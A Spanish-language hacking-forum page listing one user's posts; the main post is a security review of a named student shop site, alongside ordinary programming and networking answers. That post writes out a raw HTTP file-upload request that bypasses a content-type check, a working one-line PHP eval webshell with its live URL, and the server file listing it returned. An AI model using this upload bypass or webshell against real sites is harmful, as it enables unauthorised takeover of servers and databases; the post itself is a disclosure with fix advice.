elhacker.net cabecera Bienvenido(a), Visitante. Por favor Ingresar o Registrarse
¿Perdiste tu email de activación?.


 


Tema destacado:


  Mostrar Mensajes
Páginas: 1 2 3 [4] 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 ... 434
31  Seguridad Informática / Hacking Ético / Re: Incinera tu sitio WEB! en: 5 Septiembre 2020, 23:01
Hola Caroxh1, tu sistema de compras tiene algunos errores muy graves.

Cuando te creas una cuenta y accedes con un usuario y tratas de ir al ícono del perfil del usuario puedes ver lo siguiente en el código fuente:

http://musicdum.260mb.net/usuarios/perfilusuario.php

Código:
<a href='../admins/salir.php'>Salir</a> <h1></h1>

¿admins?, porque a un usuario sin privilegios se le muestra una ruta que dice admins?, asi que voy a http://musicdum.260mb.net/admins/ y veo que tiene directory listing:

http://musicdum.260mb.net/admins/

Código:
[PARENTDIR] Parent Directory                             -   [unknown item..]
[TXT] salir.php               2020-08-03 13:30  110   PHP: Hypertext Preprocessor script
[TXT] ingresarproductos.php   2020-08-05 15:10  2.7K  PHP: Hypertext Preprocessor script
[TXT] datosimagen.php         2020-08-23 13:22  1.2K  PHP: Hypertext Preprocessor script

http://musicdum.260mb.net/php/

Código:
Icon  Name                    Last modified      Size  Description[PARENTDIR] Parent Directory                             -   [unknown item..]
[TXT] eliminarCarrito.php     2020-07-26 14:41  542   PHP: Hypertext Preprocessor script
[TXT] conexion2.php           2020-08-07 20:08  2.3K  PHP: Hypertext Preprocessor script
[TXT] conexion.php            2020-07-26 15:18  263   PHP: Hypertext Preprocessor script

El directorio /php/ lo obtuve desde el carrito de compras.

Asi que por curiosidad entro a http://musicdum.260mb.net/admins/ingresarproductos.php y me doy cuenta que puedo administrar tus productos sin ser admin.

Por lo que veo tu sistema utiliza secciones que debiesen estar controladas por distintos privilegios y para eso debes crear roles de usuarios, si el usuario no es admin entonces no debiera cargar las paginas de administración y a los directorios sin un index debes crearles un index.html en blanco o un php que haga una redirección al home.

Por otro lado, cuando intentas agregar un producto al carro de compras, no funciona el modificar cantidad porque arroja un 404 y el de eliminar producto arroja un error 500.

A demás, cuando agregas un producto la imagen se sube de manera directa tal cual al servidor, con el mismo nombre y el mismo archivo al directorio público, asi que, si logras bypasear el filtro de tipo de extension de archivo talves se pueda subir una shell y con eso acceder a la db y a los archivos php.

EDITO: ya pude subir la shell. Veo que solo valida el content-type de la cabecera de la petición pero no el contenido o la extensión del archivo, por ejemplo:

Código:
$ ncat --crlf -v musicdum.260mb.net 80
POST /admins/datosimagen.php HTTP/1.1
Host: musicdum.260mb.net
User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:80.0) Gecko/20100101 Firefox/80.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: en-US
Content-Type: multipart/form-data; boundary=---------------------------19531431397062997021845851424
Content-Length: 865
Origin: http://musicdum.260mb.net
DNT: 1
Connection: keep-alive
Referer: http://musicdum.260mb.net/admins/ingresarproductos.php
Cookie: ...

-----------------------------19531431397062997021845851424
Content-Disposition: form-data; name="instrumento"

Ukelele
-----------------------------19531431397062997021845851424
Content-Disposition: form-data; name="descripcion"

x
-----------------------------19531431397062997021845851424
Content-Disposition: form-data; name="precio"

1
-----------------------------19531431397062997021845851424
Content-Disposition: form-data; name="categoria"

1
-----------------------------19531431397062997021845851424
Content-Disposition: form-data; name="inventario"

1
-----------------------------19531431397062997021845851424
Content-Disposition: form-data; name="imagen"; filename="x.php"
Content-Type: image/png

<?php phpinfo(); ?>
-----------------------------19531431397062997021845851424--


HTTP/1.1 200 OK
Server: nginx
Date: Sat, 05 Sep 2020 21:15:48 GMT
Content-Type: text/html; charset=UTF-8
Transfer-Encoding: chunked
Connection: keep-alive
Vary: Accept-Encoding
Cache-Control: max-age=0
Expires: Sat, 05 Sep 2020 21:15:48 GMT

84
<script type="text/javascript">
      alert("Registro exitoso");
      window.location.href="ingresarproductos.php";
      </script>

Como puedes ver en http://musicdum.260mb.net/images/ el archivo x.php se ha subido al servidor sin problemas.

Esto sucede principalmente porque obtienes el nombre del archivo tal cual viene en la petición y lo concatenas con el directorio de subida de archivos, en ves de eso debes ponerle un nombre forzado, por ejemplo, el md5 del nombre original y cambiar la manera en que estás procesando el tipo de archivo permitido.

Ahi va la shell: http://musicdum.260mb.net/images/salir.php (por alguna extraña razón el servidor no permite visualizar el archivo x.php, talves por lo corto del nombre, quien sabe).

Citar
PHP Version 7.4.8
/home/vol12_6/260mb.net

Con eso ya puedes tomar el control de todo el sistema web, modificar archivos, acceder a la base de datos, etc.

Mira, he subido una shell real:

Código:
<?php eval(urldecode(hex2bin($_GET['ex']))); ?>

view-source:http://musicdum.260mb.net/images/server.php?ex=7072696e745f7228676c6f6228272e2e2f2a2729293b

Código:
Array
(
    [0] => ../admins
    [1] => ../assets
    [2] => ../carrito.sql
    [3] => ../cart.php
    [4] => ../checkout.php
    [5] => ../contact.php
    [6] => ../css
    [7] => ../elhacker.net.html
    [8] => ../evaluacion.php
    [9] => ../files for your website should be uploaded here!
    [10] => ../fondo.jpg
    [11] => ../fonts
    [12] => ../imagenes
    [13] => ../images
    [14] => ../index.html
    [15] => ../index.php
    [16] => ../ingresar.php
    [17] => ../js
    [18] => ../layouts
    [19] => ../php
    [20] => ../registers.php
    [21] => ../registrar.php
    [22] => ../scss
    [23] => ../shop-single.php
    [24] => ../thankyou.php
    [25] => ../usuarios
)

Tu archivo conexion.php:

Código:
<?php
  $servidor="sql204.260mb.net";
  $nombreBd="n260m_[OCULTO]_carrito";
  $usuario="n260m_[OCULTO]";
  $pass="[OCULTO]";
  $conexion = new mysqli($servidor,$usuario,$pass,$nombreBd);
  if ($conexion->connect_error) {
    die("No se pudo conectar");
  }


 ?>

Por otro lado, el archivo ingresar.php el cual sirve para la autenticación:

Código:
<?php
include'php/conexion.php';
session_start();
$username = $_POST['usuario'];
$password = $_POST['password'];

$query = "SELECT * FROM usuario WHERE email =?";
$stmt = $conexion->prepare($query);
$stmt->bind_param("s",$username);
$stmt->execute();
$result = $stmt->get_result()->fetch_assoc();
if (password_verify($password, $result['password']) && $result['nivel']==2) {
  $_SESSION['username'] = $username;
    header("location: ./admins/ingresarproductos.php");
}else if (password_verify($password, $result['password'])) {
  $_SESSION['username'] = $username;
    header("location: ./index.php");
}else {
  header("Location: registrar.php");

}
 ?>

Está muy bien que hagas bind de parámetros en la consulta sql para evitar inyecciones y me ha gustado que priorizes el uso de funciones nativas como password_verify().

Hay otros errores menores como por ejemplo solicitar contraseñas en un login que no tiene https y demás, pero son cosas básicas que no valen la pena mencionar.

Para los demás usuarios que están leyendo este post, les pido un poco de sentido común, para que podamos continuar realizando revisiones sin problemas, no sobreescriban ningún archivo de ese sitio ni se pongan a extraer o a publicar información de su base de datos. Mientras tanto, les puede servir para realizar pruebas e intentar llegar hasta donde yo lo hice para tomar mayor experiencia.

Gracias Caroxh1 por la oportunidad.

Saludos.
32  Programación / Desarrollo Web / Re: [Pregunta]: Variable global (javascript) en: 1 Septiembre 2020, 04:51
Hola, primeramente, siempre se recomienda separar el código de php y javascript en archivos distntos, todo lo que tenga lógica debe ir en tu código php y todo lo estático en tu código javascript en un archivo .js.

Por otro lado, tu variable queda dentro de "$(document).ready(function()" y no sale de esta, por eso es recomendable que todo tu código esté por lo menos en un mismo archivo a menos que te independices de las constantes globales y uses variables desde respuestas json desde php.

Puedes solucionarlo rápido declarando "var my_variable" fuera del jquery, pero de todas maneras es una mala práctica porque nadie te asegura que nunca va a fallar la carga de un php con un código y tendrás que escribir demasiadas comprobaciones, en ves de eso simplemente pon todo en un mismo archivo .js y ya.

Saludos.
33  Foros Generales / Dudas Generales / Re: Alguien sabe usar py3webfuzz en: 30 Agosto 2020, 08:41
Hola, si está disponible:

https://pypi.org/project/py3webfuzz/
https://github.com/jangelesg/py3webfuzz

Para instalar sólo debes ejecutar "pip install py3webfuzz" y listo.

Saludos.
34  Programación / Scripting / Re: Duda programa python. en: 24 Agosto 2020, 19:24
Muy facil amigo, cuando, haces pop para retirar un elemento de un array este se transforma y se reordenan los índices, pero mientras lo haces estás iterando, por eso estás omitiendo todos los valores que siguen despues de un valor eliminado ya que se corre el índice. A demás, un array de python cuenta con la función remove(), no hace falta hacerle un pop(), asi no necesitas índices, pero de todas maneras puedes hacerlo más fácil:

Código:
lista = [13, 26, 24, 15, 28, 91, 63]
lista = [i for i in lista if i % 2 != 0]
print(lista)

Código:
$ python3 test.py
[13, 15, 91, 63]

Saludos.
35  Comunicaciones / Redes / Re: Ayuda para monitorear trafico de usuarios en la red ! en: 24 Agosto 2020, 18:36
Ah entiendo, ese tipo de control de límites de tráfico lo puedes hacer desde un router no tan básico, por ejemplo algunos modelos tplink tienen esa opción, asi te evitas tener que instalar agentes y podrás controlar dispositivos móviles y consolas, no solo los computadores.
36  Programación / Desarrollo Web / Re: imprimir sección con angular y conservar los estilos css en: 24 Agosto 2020, 18:34
Por estandar no puedes utilizar caracteres no alfanuméricos en los nombres de las etiquetas, excepto los dos puntos para las etiquetas especiales.
37  Comunicaciones / Chats; IRC y Messengers / Re: Se puede recuperar una copia de whatsapp borrada en drive? en: 22 Agosto 2020, 11:31
Entras a tu cuenta de google drive y en las cuentas para empresas tienes una opción de solicitar asistencia a traves de un chat en el ícono de ayuda (arriba a la derecha), pero solo atienden en horario de oficina.

Saludos.
38  Comunicaciones / Redes / Re: Ayuda para monitorear trafico de usuarios en la red ! en: 22 Agosto 2020, 07:36
Te recomiendo usar un hardware para eso, un firewall de 1u como por ejemplo un sonicwall de dell, ya que desde un servidor o c con windows tendrás muchos problemas, windows no fue diseñado para eso y te va a costar algo de trabajo poder monitorear una red debido a que necesitarás poner en modo monitor una boca de red del mismo pc o servidor para hacer un port mirror y sniffear y monitorizar el tráfico y en windows es algo complicado ya que el kernel no te lo permite debido a las mismas restricciones de windows, se necesitan drivers especiales que se instalan y no siempre funcionan bien, tambien puedes hacer una réplica de varios puertos de red en un mismo servidor y simular un firewall pero esto no te dará control para poder aplicar reglas como bloqueos automáticos ya que tu servidor solo podrá recibir paquetes.

Generalmente los softwares que necesitan un agente instalado en cada pc no son de fiar porque cualquiera te puede detener el proceso o enviar paquetes al servidor falsificados.

Vamos, cuando tienes un lugar donde necesitas monitorizar usuarios es porque de seguro es una empresa con recursos suficiente para poder comprar un firewall o antivirus corporativo de hardware básico, sino entonces tienen un problema serio de escalabilidad dentro de la compañía o entidad.

Saludos.
39  Programación / Desarrollo Web / Re: imprimir sección con angular y conservar los estilos css en: 22 Agosto 2020, 07:31
Si puedes, debes crear un css media print que oculte todo menos el contenido y disponga el contenido de manera totalmente limpia eliminando todas las imagenes de fondo, después solo llamas a print().

Pudes hacerlo en un componente de manera directa, asi no necesitas globalizar el css, solo le importas el css en tu carpeta del componente y ya.

Mira, dale un vistazo a esto: https://timdeschryver.dev/blog/print-css-with-angular

Recuerda que esto solo sirve para una impresión desde el navegador, no desde el servidor ni una exportación a algo no estandar como un pdf.

Saludos.
40  Comunicaciones / Chats; IRC y Messengers / Re: Se puede recuperar una copia de whatsapp borrada en drive? en: 22 Agosto 2020, 07:24
Sólo si fue borrada hace menos de 30 días y si la cuenta de google drive es corporativa, en ese caso la puedes recuperar en el centro de soporte de la cuenta, sino no se puede, aunque esto no quiere decir que sea imposible o que tu archivo haya sido eliminado permanentemente, google siempre tiene copias incluso años despues de haberse borrado, te lo digo por experiencia, hace no mucho google drive tenía un bug que permitía ver tus archivos aunque estos fuesen eliminados de la papelera, pero ya lo corrigieron, eso quiere decir que tu como usuario no los podrás pedir porque google te negará que sea posible acceder a ellos, pero no quiere decir que realmente ya no existan.

Saludos.
Páginas: 1 2 3 [4] 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 ... 434
Aviso Legal - Powered by SMF 1.1.21 | SMF © 2006-2008, Simple Machines